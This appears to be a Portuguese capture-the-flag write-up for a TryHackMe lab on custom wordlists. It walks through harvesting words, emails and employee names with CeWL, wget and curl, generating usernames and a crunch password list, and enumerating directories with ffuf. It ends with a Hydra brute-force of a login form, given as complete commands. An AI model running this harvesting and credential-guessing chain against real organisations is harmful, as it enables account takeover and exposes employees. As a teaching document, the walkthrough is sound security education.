O básico de wordlists
1. Introdução
Todo mundo já usou a lista rockyou ou do seclists, porem, dependendo de onde vai ser utilizado, é mais interessante criarmos nossa propria lista! Rescentemente aprendi a usar o cewl, então vamos fazer uma coisa básica de recon e criar uma lista especifica pra um alvo.
O objetivo é:
- encontrar palavras relacionadas à empresa;
- coletar e-mails;
- identificar funcionários;
- gerar possíveis usernames;
- encontrar padrões de senha;
- descobrir diretórios ocultos;
- testar credenciais no formulário de login.
O fluxo é:
Reconhecimento
↓
Coleta de informações
↓
Criação de wordlists
↓
Limpeza e normalização
↓
Enumeração com FFUF
↓
Descoberta de login
↓
Teste de credenciais com Hydra
Este walkthrough foi realizado em ambiente autorizado do TryHackMe. As técnicas devem ser utilizadas apenas em sistemas próprios, laboratórios ou alvos para os quais exista autorização explícita.
1. Ambiente
Vou utilizar Kali Linux.
O IP do alvo vai ser representado como:
<TARGET_IP>
Por exemplo:
10.66.176.89
O laboratório utiliza dois domínios:
tryfinanceme.local
social.tryfinanceme.local
Como esses domínios não existem no DNS público, precisamos informar ao Kali qual IP deve ser associado a eles.
2. Configurando /etc/hosts
Adicionamos os domínios:
echo '<TARGET_IP> tryfinanceme.local social.tryfinanceme.local' | sudo tee -a /etc/hosts
Exemplo:
echo '10.66.176.89 tryfinanceme.local social.tryfinanceme.local' | sudo tee -a /etc/hosts
Isso cria localmente a relação:
10.66.176.89
│
├── tryfinanceme.local
└── social.tryfinanceme.local
Podemos confirmar:
grep tryfinanceme /etc/hosts
E testar a resolução:
getent hosts tryfinanceme.local
Também podemos verificar se o servidor web responde:
curl -I http://tryfinanceme.local
Por que usar sudo tee -a?
A room apresenta algo como:
echo '<TARGET_IP> tryfinanceme.local social.tryfinanceme.local' >> /etc/hosts
Esse comando funciona se já estivermos como root.
Porém, em uma sessão normal do Kali, /etc/hosts pertence ao usuário root.
O operador:
>>
é executado pelo shell do usuário atual.
Por isso isto pode falhar:
echo '...' >> /etc/hosts
com:
Permission denied
Usando:
echo '...' | sudo tee -a /etc/hosts
quem abre e escreve no arquivo é o tee, executado através do sudo.
O -a significa append, ou seja, adicionar sem apagar o conteúdo existente.
Mas, você pode usar o cat:
cat >> /etc/hosts <<EOF
10.66.176.89 tryfinanceme.local social.tryfinanceme.local
EOF
3. Criando um workspace
Para não espalhar arquivos pelo sistema, e facilitar a documentação depois, é uma boa prática organizar o que estamos fazendo.
mkdir -p ~/tryfinanceme
cd ~/tryfinanceme
Todo o restante do laboratório será executado dentro dessa pasta.
4. Coletando palavras com CeWL
Primeiro de tudo, o CeWL é um gerador de wordlist. Para mais informações e como instalar pode consultar o repo oficial: https://github.com/digininja/CeWL
CeWL significa Custom Word List generator.
Ele navega pelas páginas de um site e extrai palavras que podem ser úteis na criação de uma wordlist específica daquele alvo.
Continuando… Execute:
cewl -d 2 -m 3 --lowercase --with-numbers -e --email_file emails.txt -w cewl_words.txt http://tryfinanceme.local
Entendendo as opções
| Opção | Função |
|---|---|
-d 2 |
Segue links até dois níveis de profundidade |
-m 3 |
Coleta palavras com pelo menos três caracteres |
--lowercase |
Converte palavras para minúsculas |
--with-numbers |
Permite palavras contendo números |
-e |
Procura e-mails |
--email_file emails.txt |
Salva e-mails encontrados |
-w cewl_words.txt |
Salva as palavras |
| URL final | Site que será analisado |
O resultado principal será:
cewl_words.txt
emails.txt
Podemos verificar:
head -20 cewl_words.txt
e:
cat emails.txt
O fluxo até aqui é:
Website
│
↓
CeWL
│
├── palavras → cewl_words.txt
│
└── emails → emails.txt
5. Procurando documentos públicos
Documentos publicados por empresas podem conter informações interessantes, como:
- nomes de funcionários;
- nomes de departamentos;
- projetos;
- tecnologias;
- endereços de e-mail;
- termos internos.
O laboratório possui documentos em:
http://tryfinanceme.local/docs/
Vamos baixar os PDFs:
wget -r -A pdf http://tryfinanceme.local/docs/
As opções:
-r
significa download recursivo.
-A pdf
significa aceitar arquivos PDF.
Podemos listar o que foi encontrado:
find tryfinanceme.local/docs -type f
6. Extraindo strings dos PDFs
PDFs possuem muitas estruturas internas, mas o comando strings consegue localizar sequências de caracteres legíveis.
Assim, podemos fazer um loop pra procurar algumas palavras e salvar em um txt.
Execute:
for f in $(find tryfinanceme.local/docs -name '*.pdf'); do
strings -n 5 "$f" |
grep -vP '^[/<>%0-9\\]|^(stream|endstream|endobj|xref|trailer|startxref)$' \
>> raw_words.txt
done
O fluxo é:
PDF
↓
strings
↓
texto legível
↓
grep
↓
remove parte do lixo estrutural
↓
raw_words.txt
A opção:
strings -n 5
extrai strings com pelo menos cinco caracteres.
Podemos visualizar:
head -30 raw_words.txt
7. Extraindo e-mails dos PDFs
Agora procuramos especificamente e-mails do domínio:
@tryfinanceme.com
Execute:
grep -RhiaoP '[A-Za-z0-9._%+-]+@tryfinanceme\.com' \
tryfinanceme.local/docs \
> emails_docs.txt
As principais opções do grep são:
| Opção | Significado |
|---|---|
-R |
Procura recursivamente |
-h |
Não mostra o nome dos arquivos |
-i |
Ignora maiúsculas/minúsculas |
-a |
Trata arquivos como texto |
-o |
Mostra apenas a parte encontrada |
-P |
Usa regex compatível com Perl |
Veja os resultados:
cat emails_docs.txt
8. Removendo e-mails duplicados
Use:
sort -u emails_docs.txt > emails_docs.unique.txt
Onde:
sort = ordena
-u = mantém apenas valores únicos
Confira:
cat emails_docs.unique.txt
9. Transformando e-mails em usernames
Um endereço como:
alex.johnson@tryfinanceme.com
pode revelar um username:
alex.johnson
Para remover tudo depois de @:
grep -Po '^[^@]+' emails_docs.unique.txt > users_from_emails.txt
Confira:
cat users_from_emails.txt
10. Harvesting de funcionários
O laboratório possui:
social.tryfinanceme.local
Primeiro confirmamos que responde:
curl -I http://social.tryfinanceme.local
Na página, os nomes aparecem em elementos HTML semelhantes a:
<h3 class="profile-name">Alex Johnson</h3>
Podemos extrair somente os nomes:
curl -s http://social.tryfinanceme.local/ \
| grep -Po '(?<=<h3 class="profile-name">)[^<]+' \
> names.txt
Visualize:
cat names.txt
Isso é um exemplo simples de harvesting: coletar informações públicas que posteriormente podem auxiliar a enumeração.
11. Gerando possíveis usernames
Uma empresa pode usar diferentes convenções para criar usuários.
Para:
Alex Johnson
algumas possibilidades comuns seriam:
alex.johnson
ajohnson
alexj
Vamos criar essas três variações.
firstname.lastname
awk '{print tolower($1)"."tolower($2)}' names.txt > users_first.last.txt
Resultado:
alex.johnson
Primeira letra + sobrenome
awk '{print tolower(substr($1,1,1))tolower($2)}' names.txt > users_flast.txt
Resultado:
ajohnson
Nome + primeira letra do sobrenome
awk '{print tolower($1)tolower(substr($2,1,1))}' names.txt > users_firstl.txt
Resultado:
alexj
Podemos comparar tudo:
paste names.txt users_first.last.txt users_flast.txt users_firstl.txt
12. Por que limpar as wordlists?
Os dados coletados ainda são brutos.
Podemos ter:
Helios
HELIOS
helios
#helios
/helios
<stream
account
ACCOUNT
Utilizar isso diretamente faria ferramentas como ffuf realizarem requisições desnecessárias.
O objetivo da limpeza é:
- remover duplicatas;
- converter tudo para minúsculo;
- eliminar caracteres estranhos;
- remover palavras improváveis;
- reduzir o número total de requisições.
13. Juntando CeWL e PDFs
Combine:
cat cewl_words.txt raw_words.txt | sort -u > words_raw.txt
Agora temos:
cewl_words.txt ─┐
├──→ words_raw.txt
raw_words.txt ──┘
Confira:
wc -l words_raw.txt
head -20 words_raw.txt
14. Normalizando a wordlist
Execute:
cat words_raw.txt \
| tr '[:upper:]' '[:lower:]' \
| tr -d '\r' \
| grep -P '^[a-z0-9][a-z0-9._-]{4,}$' \
| sort -u \
> words_clean.txt
Vamos separar cada parte.
Convertendo para minúsculas
tr '[:upper:]' '[:lower:]'
Transforma:
Helios
HELIOS
Finance
em:
helios
helios
finance
Removendo carriage return
tr -d '\r'
Windows geralmente usa:
\r\n
para terminar linhas.
Linux normalmente utiliza apenas:
\n
O comando remove possíveis caracteres \r escondidos.
Filtrando palavras
grep -P '^[a-z0-9][a-z0-9._-]{4,}$'
A expressão exige que:
- a palavra comece com letra ou número;
- utilize apenas letras, números,
.,_ou-; - tenha pelo menos cinco caracteres.
Por exemplo:
admin
account
helios
api-v2
finance_portal
login.html
podem permanecer.
Enquanto:
#admin
/admin
<test
api
são removidos.
Removendo duplicatas novamente
sort -u
É necessário repetir essa etapa porque antes poderíamos ter:
Helios
HELIOS
helios
Depois da conversão para minúsculo:
helios
helios
helios
Agora sort -u deixa apenas:
helios
O resultado final:
words_clean.txt
Confira:
wc -l words_clean.txt
head -30 words_clean.txt
16. Consolidando os usernames
Temos:
users_first.last.txt
users_flast.txt
users_firstl.txt
users_from_emails.txt
Vamos juntar tudo:
cat users_first.last.txt \
users_flast.txt \
users_firstl.txt \
users_from_emails.txt \
| sort -u \
> users.txt
Confira:
cat users.txt
e:
wc -l users.txt
Agora users.txt é nossa lista consolidada.
16. Criando uma wordlist de senhas com Crunch
Durante o OSINT do laboratório foi identificado um padrão de senha:
Helios20NN!
onde:
NN = dois números
Isso pode gerar:
Helios2000!
Helios2001!
Helios2002!
...
Helios2099!
Em vez de testar milhões de senhas, podemos gerar exatamente essas 100 possibilidades.
Use:
crunch 11 11 -t Helios20%%! -o pass_helios.txt
Entendendo o Crunch
Os dois valores:
11 11
definem:
comprimento mínimo = 11
comprimento máximo = 11
A senha:
Helios2000!
possui 11 caracteres.
O parâmetro:
-t Helios20%%!
define o template.
No Crunch:
% = número
Portanto:
%%
gera:
00
01
02
...
99
E:
-o pass_helios.txt
salva o resultado.
Confira:
head pass_helios.txt
tail pass_helios.txt
e:
wc -l pass_helios.txt
Devemos ter:
100 pass_helios.txt
17. Estado atual
Agora temos três arquivos importantes:
words_clean.txt
users.txt
pass_helios.txt
Cada um possui uma função:
| Arquivo | Uso |
|---|---|
words_clean.txt |
Descobrir diretórios e arquivos |
users.txt |
Possíveis usernames |
pass_helios.txt |
Possíveis senhas |
O fluxo até agora:
OSINT / Recon
│
┌──────┴──────┐
│ │
palavras pessoas
│ │
↓ ↓
words_clean users.txt
│
padrão de senha
│
↓
pass_helios.txt
18. Descoberta de diretórios com FFUF
Agora utilizamos nossa wordlist personalizada:
ffuf -w words_clean.txt \
-u http://tryfinanceme.local/FUZZ \
-e .php,.html,/ \
-mc 200,301,302
O FUZZ representa o local que será substituído pelas palavras da lista.
Se tivermos:
admin
helios
portal
o FFUF testará coisas como:
/admin
/admin.php
/admin.html
/admin/
/helios
/helios.php
/helios.html
/helios/
Opções utilizadas
| Opção | Função |
|---|---|
-w words_clean.txt |
Wordlist |
-u URL/FUZZ |
Local onde cada palavra será inserida |
-e .php,.html,/ |
Testa extensões e diretórios |
-mc 200,301,302 |
Mostra apenas esses códigos HTTP |
Os principais códigos são:
200 = conteúdo encontrado
301 = redirecionamento permanente
302 = redirecionamento temporário
Durante a enumeração devemos encontrar:
helios/
Essa descoberta responde à primeira pergunta da room:
What HTTP status code does ffuf report for helios/?
Basta observar:
Status:
na linha correspondente.
19. Filtrando falsos positivos no FFUF
Algumas aplicações devolvem respostas semelhantes mesmo quando o recurso não existe.
Podemos testar:
curl -i http://tryfinanceme.local/isto-nao-existe-12345
Se várias respostas falsas apresentarem, por exemplo:
Size: 1542
podemos ignorá-las:
ffuf -w words_clean.txt \
-u http://tryfinanceme.local/FUZZ \
-e .php,.html,/ \
-mc 200,301,302 \
-fs 1542
Onde:
-fs = filter size
Também existe:
-fl
para filtrar pela quantidade de linhas.
Não é necessário adicionar filtros se a saída já estiver limpa.
20. Encontrando o login
A enumeração revela:
/helios/
Podemos acessar:
curl -i http://tryfinanceme.local/helios/
ou abrir no navegador:
http://tryfinanceme.local/helios/
O formulário está em:
http://tryfinanceme.local/helios/login.php
Antes de usar o Hydra, precisamos entender o formato da requisição, podemos usar o comando:
curl -s http://tryfinanceme.local/helios/login.php \
| grep -Ei '<form|<input'
usar o burpsuite, ou verificar o source da página.
O formulário envia algo semelhante a:
POST /helios/login.php HTTP/1.1
Host: tryfinanceme.local
Content-Type: application/x-www-form-urlencoded
username=alex&password=senha
Os nomes dos campos são:
username
password
Esses valores são importantes para o Hydra.
21. Testando credenciais com Hydra
Já temos:
users.txt
pass_helios.txt
Use:
hydra \
-L users.txt \
-P pass_helios.txt \
-f \
-V \
-t 4 \
tryfinanceme.local \
http-post-form '/helios/login.php:username=^USER^&password=^PASS^:S=THM{'
Em uma linha:
hydra -L users.txt -P pass_helios.txt -f -V -t 4 tryfinanceme.local http-post-form '/helios/login.php:username=^USER^&password=^PASS^:S=THM{'
22. Entendendo o Hydra
Lista de usernames
-L users.txt
O -L informa uma lista de logins.
Lista de senhas
-P pass_helios.txt
O -P informa uma lista de passwords.
Parar quando encontrar uma credencial
-f
Faz o Hydra parar após encontrar uma combinação válida.
Mostrar tentativas
-V
Mostra os pares sendo testados.
Paralelismo
-t 4
Utiliza quatro tarefas simultâneas.
Para este laboratório isso é suficiente.
23. Entendendo http-post-form
A parte principal é:
/helios/login.php:username=^USER^&password=^PASS^:S=THM{
Existem três componentes separados por ::
/helios/login.php
:
username=^USER^&password=^PASS^
:
S=THM{
Primeiro componente — endpoint
/helios/login.php
É o endpoint que receberá o POST.
Segundo componente — dados
username=^USER^&password=^PASS^
O Hydra substitui:
^USER^
pelos valores de:
users.txt
e:
^PASS^
pelos valores de:
pass_helios.txt
Uma requisição pode acabar utilizando:
username=ajohnson&password=Helios2042!
Depois:
username=ajohnson&password=Helios2043!
e assim por diante.
24. Como o Hydra identifica sucesso?
Utilizamos:
S=THM{
O S= representa uma condição de sucesso.
Nesse laboratório, quando o login funciona, a resposta contém uma flag que começa com:
THM{
Portanto:
tentativa
│
↓
servidor responde
│
├── não contém THM{ → falhou
│
└── contém THM{ → sucesso
Quando encontrar a combinação correta, o Hydra mostrará algo semelhante a:
[80][http-post-form] host: tryfinanceme.local
login: <USERNAME>
password: <PASSWORD>
A resposta da segunda pergunta da room será o valor mostrado depois de:
login:
25. Login final
Com as credenciais encontradas, abra:
http://tryfinanceme.local/helios/
ou:
http://tryfinanceme.local/helios/login.php
Utilize:
Username: <USERNAME>
Password: <PASSWORD>
Após a autenticação será possível visualizar a flag:
THM{...}
26. Estrutura dos arquivos criados
Ao final, nosso diretório terá aproximadamente:
~/tryfinanceme/
│
├── cewl_words.txt
├── emails.txt
│
├── raw_words.txt
├── words_raw.txt
├── words_clean.txt
│
├── emails_docs.txt
├── emails_docs.unique.txt
│
├── names.txt
├── users_first.last.txt
├── users_flast.txt
├── users_firstl.txt
├── users_from_emails.txt
├── users.txt
│
├── pass_helios.txt
│
└── tryfinanceme.local/
└── docs/
└── *.pdf
27. Fluxo completo
O processo inteiro pode ser resumido assim:
TARGET
│
Reconhecimento
│
┌──────────┴──────────┐
│ │
Website PDFs
│ │
CeWL wget
│ │
│ strings
│ │
└──────────┬──────────┘
│
palavras
│
↓
limpar / normalizar
│
↓
words_clean.txt
│
↓
FFUF
│
↓
/helios/
│
↓
login.php
│
│
┌───────────────┴───────────────┐
│ │
social.tryfinanceme.local PDFs
│ │
nomes emails
│ │
└───────────────┬───────────────┘
│
↓
usernames possíveis
│
↓
users.txt
padrão de senha
│
Helios20NN!
│
↓
Crunch
│
↓
pass_helios.txt
│
↓
users.txt + pass_helios.txt
│
↓
Hydra
│
↓
credencial válida
│
↓
login
│
↓
THM{...}
28. O principal aprendizado
O que aprendemos com tudo isso, além de mexer um pouco com o ffuf ou Hydra.
A metodologia é:
Recon → informação → hipótese → wordlist → enumeração → validação
Começar imediatamente com uma wordlist gigantesca pode gerar milhares ou milhões de tentativas inúteis.
Informações específicas sobre o alvo podem reduzir drasticamente esse espaço.
Por exemplo:
Funcionários públicos
↓
padrões de usernames
↓
users.txt
e:
informação sobre política de senha
↓
Helios20NN!
↓
apenas 100 combinações
Da mesma forma:
site + documentos
↓
vocabulário específico da empresa
↓
words_clean.txt
↓
descoberta de /helios/
Esse é o conceito central de custom wordlists: transformar informações obtidas durante o reconhecimento em dados diretamente úteis durante a enumeração.
29. Comandos principais — referência rápida
/etc/hosts
echo '<TARGET_IP> tryfinanceme.local social.tryfinanceme.local' | sudo tee -a /etc/hosts
Workspace
mkdir -p ~/tryfinanceme
cd ~/tryfinanceme
CeWL
cewl -d 2 -m 3 --lowercase --with-numbers -e --email_file emails.txt -w cewl_words.txt http://tryfinanceme.local
Download dos PDFs
wget -r -A pdf http://tryfinanceme.local/docs/
Strings dos PDFs
for f in $(find tryfinanceme.local/docs -name '*.pdf'); do
strings -n 5 "$f" |
grep -vP '^[/<>%0-9\\]|^(stream|endstream|endobj|xref|trailer|startxref)$' \
>> raw_words.txt
done
E-mails dos PDFs
grep -RhiaoP '[A-Za-z0-9._%+-]+@tryfinanceme\.com' tryfinanceme.local/docs > emails_docs.txt
Remover duplicados
sort -u emails_docs.txt > emails_docs.unique.txt
E-mail → username
grep -Po '^[^@]+' emails_docs.unique.txt > users_from_emails.txt
Funcionários
curl -s http://social.tryfinanceme.local/ | grep -Po '(?<=<h3 class="profile-name">)[^<]+' > names.txt
Username first.last
awk '{print tolower($1)"."tolower($2)}' names.txt > users_first.last.txt
Username flast
awk '{print tolower(substr($1,1,1))tolower($2)}' names.txt > users_flast.txt
Username firstl
awk '{print tolower($1)tolower(substr($2,1,1))}' names.txt > users_firstl.txt
Juntar palavras
cat cewl_words.txt raw_words.txt | sort -u > words_raw.txt
Limpar wordlist
cat words_raw.txt | tr '[:upper:]' '[:lower:]' | tr -d '\r' | grep -P '^[a-z0-9][a-z0-9._-]{4,}$' | sort -u > words_clean.txt
Consolidar usernames
cat users_first.last.txt users_flast.txt users_firstl.txt users_from_emails.txt | sort -u > users.txt
Gerar senhas
crunch 11 11 -t Helios20%%! -o pass_helios.txt
FFUF
ffuf -w words_clean.txt -u http://tryfinanceme.local/FUZZ -e .php,.html,/ -mc 200,301,302
Hydra
hydra -L users.txt -P pass_helios.txt -f -V -t 4 tryfinanceme.local http-post-form '/helios/login.php:username=^USER^&password=^PASS^:S=THM{'
Conclusão
Esta room demonstra bem a diferença entre simplesmente utilizar ferramentas e aplicar uma metodologia de reconhecimento.
As ferramentas utilizadas foram:
CeWL
wget
strings
grep
awk
sort
Crunch
FFUF
Hydra
Mas o mais importante foi a sequência:
coletar
↓
entender
↓
organizar
↓
reduzir
↓
enumerar
↓
validar
Quanto melhor for o reconhecimento, mais específicas podem ser as wordlists e menor tende a ser a quantidade de tentativas necessárias nas fases seguintes.
Em pentest, CTF e bug bounty, essa lógica pode ser aplicada não apenas a diretórios e credenciais, mas também a:
- subdomínios;
- endpoints de APIs;
- parâmetros;
- nomes de arquivos;
- tecnologias;
- padrões internos de nomenclatura;
- usuários e serviços.
A ferramenta executa o teste. O reconhecimento é o que ajuda a decidir o que vale a pena testar.